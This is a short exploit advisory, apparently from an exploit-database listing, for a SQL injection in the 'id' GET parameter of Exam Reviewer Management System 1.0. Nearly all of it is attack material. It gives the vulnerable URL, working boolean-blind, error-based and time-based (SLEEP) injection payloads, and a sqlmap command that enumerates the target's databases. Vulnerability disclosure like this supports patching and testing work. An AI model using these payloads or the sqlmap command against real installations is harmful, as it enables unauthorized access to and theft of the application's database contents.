Exam Reviewer Management System 1.0 – ‘id’ SQL Injection
# Exploit Title: Exam Reviewer Management System 1.0 - ‘id’ SQL Injection # Date: 2022-02-18 # Exploit Author: Juli Agarwal(@agarwaljuli) # Vendor Homepage: https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code # Version: 1.0 # Tested on: Windows 10/Kali Linux Description – The ‘id’ parameter in Exam Reviewer Management System web application is vulnerable to SQL Injection Vulnerable URL - http://127.0.0.1/erms/?p=take_exam&id=1 POC:- --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: p=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: p=take_exam&id=1' OR (SELECT 8795 FROM(SELECT COUNT(*),CONCAT(0x71766a7071,(SELECT (ELT(8795=8795,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'MCXA'='MCXA Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: p=take_exam&id=1' AND (SELECT 2206 FROM (SELECT(SLEEP(5)))AhEo) AND 'vqGg'='vqGg--- *SQLMAP COMMAND* *# sqlmap -u "127.0.0.1/erms/?p=take_exam&id=1 <http://127.0.0.1/erms/?p=take_exam&id=1>" -p id --dbs --level 3* |